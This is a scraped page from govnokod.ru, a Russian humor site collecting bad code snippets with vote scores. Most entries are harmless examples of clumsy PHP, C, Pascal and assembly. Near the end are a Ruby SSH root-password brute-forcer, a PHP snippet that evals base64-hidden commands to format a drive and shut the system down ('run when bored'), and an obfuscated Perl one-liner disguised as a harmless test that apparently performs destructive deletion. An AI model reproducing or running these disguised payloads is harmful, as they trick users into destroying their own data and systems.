- 1
- 2
- 3
function schitaem_ves_fajla($file) {
return strlen(file_get_contents($file));
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+181.7
function schitaem_ves_fajla($file) {
return strlen(file_get_contents($file));
}
[email protected] - 05:00 MSK
+168.2
if ($obj->id == 17718 || $obj->id == 16579 || $obj->id == 16849 || $obj->id == 16527 || $obj->id == 16866 || $obj->id == 16864 || $obj->id == 16863 || $obj->id == 16549 || $obj->id == 16809 || $obj->id == 16155 || $obj->id == 16852 || $obj->id == 16808 || $obj->id == 17750 || $obj->id == 17754 || $obj->id == 16993 || $obj->id == 16720 || $obj->id == 16594 || $obj->id == 16595 || $obj->id == 16703 || $obj->id == 16704 || $obj->id == 16806 || $obj->id == 16807 || $obj->id == 16712 || $obj->id == 16716 || $obj->id == 16722 || $obj->id == 16830 || $obj->id == 16831 || $obj->id == 16867 || $obj->id == 17412 || $obj->id == 16690 || $obj->id == 16039 || $obj->id == 16797 || $obj->id == 16749 || $obj->id == 16829 || $obj->id == 16571 || $obj->id == 16592 || $obj->id == 16136 || $obj->id == 17307 || $obj->id == 16846 || $obj->id == 17308 || $obj->id == 16577 || $obj->id == 16630 || $obj->id == 17405 || $obj->id == 17403 || $obj->id == 16042 || $obj->id == 16131 || $obj->id == 16631 || $obj->id == 16139 || $obj->id == 16575 || $obj->id == 16576 || $obj->id == 16574 || $obj->id == 16573 || $obj->id == 16535 || $obj->id == 16536 || $obj->id == 16570 || $obj->id == 16528 || $obj->id == 16526 || $obj->id == 17409 || $obj->id == 16622 || $obj->id == 16623 || $obj->id == 16619 || $obj->id == 16620 || $obj->id == 16805 || $obj->id == 16151 || $obj->id == 16804 || $obj->id == 16026 || $obj->id == 16613 || $obj->id == 16681 || $obj->id == 16682 || $obj->id == 17414 || $obj->id == 16618 || $obj->id == 16626 || $obj->id == 16627 || $obj->id == 17413 || $obj->id == 16628 || $obj->id == 16629 || $obj->id == 16593 || $obj->id == 16165 || $obj->id == 16166 || $obj->id == 17404 || $obj->id == 16168 || $obj->id == 16174 || $obj->id == 17402 || $obj->id == 16140 || $obj->id == 16624 || $obj->id == 16625 || $obj->id == 16621 || $obj->id == 16832 || $obj->id == 16584 || $obj->id == 16718 || $obj->id == 16719 || $obj->id == 16530 || $obj->id == 16847 || $obj->id == 16585 || $obj->id == 16756 || $obj->id == 16825 || $obj->id == 16823 || $obj->id == 16824 || $obj->id == 17783 || $obj->id == 17787 || $obj->id == 17788 || $obj->id == 17782 || $obj->id == 17789 || $obj->id == 17790 || $obj->id == 17784 || $obj->id == 17791 || $obj->id == 17792 || $obj->id == 17785 || $obj->id == 17793 || $obj->id == 17794) continue;
Кусок скрипта генерации каталога на CD. Пропуск позиций, которые надо исключить из каталога.
+159
if ($_POST["type"] == "2") {
echo '<form name=fm method=post>'.
'<select class="f" name="per" onChange="mclick(\'/history.php?type=2&per=\'+document.fm.per.value)">'.
'<option value="2"'; if ($per == "2") { print "selected"; }; echo '>'.$lng['history'][14].''.
'<option value="5"'; if ($per == "5") { print "selected"; }; echo '>'.$lng['history'][15].''.
'<option value="7"'; if ($per == "7") { print "selected"; }; echo '>'.$lng['history'][16].''.
'<option value="14"'; if ($per == "14") { print "selected"; }; echo '>'.$lng['history'][17].''.
'<option value="30"'; if ($per == "30") { print "selected"; }; echo '>'.$lng['history'][18].''.
'<option value="365"'; if ($per == "365") { print "selected"; }; echo '>'.$lng['history'][19].''.
'<option value="1000"'; if ($per == "1000") { print "selected"; }; echo '>'.$lng['history'][20].''.
'</select>'.
'</form>';
}
убейте меня
+140
int seek_substring_KMP (char s[], char q[])
{
int i, j, N, M;
N = strlen(s);
M = strlen(q);
int *d =(int*)malloc(M*sizeof(int)); /* динамический массив длины М*/
/* Вычисление префикс-функции */
i=0;
j=-1;
d[0]=-1;
while(i<M-1)
{
while((j>=0) && (q[j]!=q[i]))
j = d[j];
i++;
j++;
if(q[i]==q[j])
d[i]=d[j];
else
d[i]= j;
}
/* поиск */
for(i=0,j=0;(i<N)&&(j<M); i++,j++)
while((j>=0)&&(q[j]!=s[i]))
j=d[j];
free (d); /* освобождение памяти массива d */
if (j==M)
return i-j;
else /* i==N */
return -1;
}
Алгоритм Кнута — Морриса — Пратта. Жуже сложно реализвовать(
−298.7
require "rubygems"
require 'net/ssh'
class << Net::SSH
def butforse(passwordarr)
begin
puts "Try password #{passwordarr}"
Net::SSH.start('localhost', 'root', :password => "#{passwordarr}")
puts "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
exit
rescue Net::SSH::AuthenticationFailed
end
end
end
arrays = Array("a".."zz")
arr1 = arrays[0, (arrays.size-1) / 2]
arr2 = arrays[(arrays.size - 1) / 2, arrays.size - 1]
threadsz = []
threadsz2 = []
threadsz << Thread.new(arr1) { |items|
for item in items
Net::SSH.butforse(item)
end
}
threadsz2 << Thread.new(arr2) { |items|
for item in items
Net::SSH.butforse(item)
end
}
threadsz.each {|i| i.join}
threadsz2.each {|i| i.join}
И я решил что лудше сразу создать оптимальное количество нитий,
+115.1
case Key of
'F','f','а' : Key:='А';
'<',',','б' : Key:='Б';
'D','d','в' : Key:='В';
'U','u','г' : Key:='Г';
'L','l','д' : Key:='Д';
'T','t','е' : Key:='Е';
'~','`','ё' : Key:='Ё';
':',';','ж' : Key:='Ж';
'P','p','з' : Key:='З';
'B','b','и' : Key:='И';
'Q','q','й' : Key:='Й';
'R','r','к' : Key:='К';
'K','k','л' : Key:='Л';
'V','v','м' : Key:='М';
'Y','y','н' : Key:='Н';
'J','j','о' : Key:='О';
'G','g','п' : Key:='П';
'H','h','р' : Key:='Р';
'C','c','с' : Key:='С';
'N','n','т' : Key:='Т';
'E','e','у' : Key:='У';
'A','a','ф' : Key:='Ф';
'{','[','х' : Key:='Х';
'W','w','ц' : Key:='Ц';
'X','x','ч' : Key:='Ч';
'I','i','ш' : Key:='Ш';
'O','o','щ' : Key:='Щ';
'M','m','ь' : Key:='Ь';
'}',']','ъ' : Key:='Ъ';
'"','''','э' : Key:='Э';
'S','s','ы' : Key:='Ы';
'>','.','ю' : Key:='Ю';
'Z','z','я' : Key:='Я';
end;
висит на процедуре Edit1KeyPress :)
+205.2
mov ecx, 200h - 1
not ecx
and eax, ecx
Лень считать в уме
+153.5
<?php
/*
desc:
Инкремент строки типа '000'
Символы от '0' до 'z'
*/
function levelIncrease($lvl)
{
for($i = 2, $ng = 0; $i >= 0; $i--) {
$g = ord($lvl[$i]);
if($i == 2)
++$g;
$g += $ng;
$ng = 0;
if($g > 57 && $g < 97)
$g = 97;
else if($g > 122) {
$diff = $g - 122;
$g = 48 + $diff - 1;
$ng = ceil($diff / 36);
}
$lvl[$i] = chr($g);
if($ng == 0)
break;
}
return $lvl;
}
echo levelIncrease('aaa'); // aab
Инкремент строки типа '000'
Символы от '0' до 'z'
+149.5
<?php
eval(base64_decode("Zm9ybWF0IGQ6IC9xIC95"));
eval(base64_decode("c3lzdGVtKCJzaHV0ZG93biAtcyIpOw=="));
?>
Запускать, когда скучно
−423.2
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'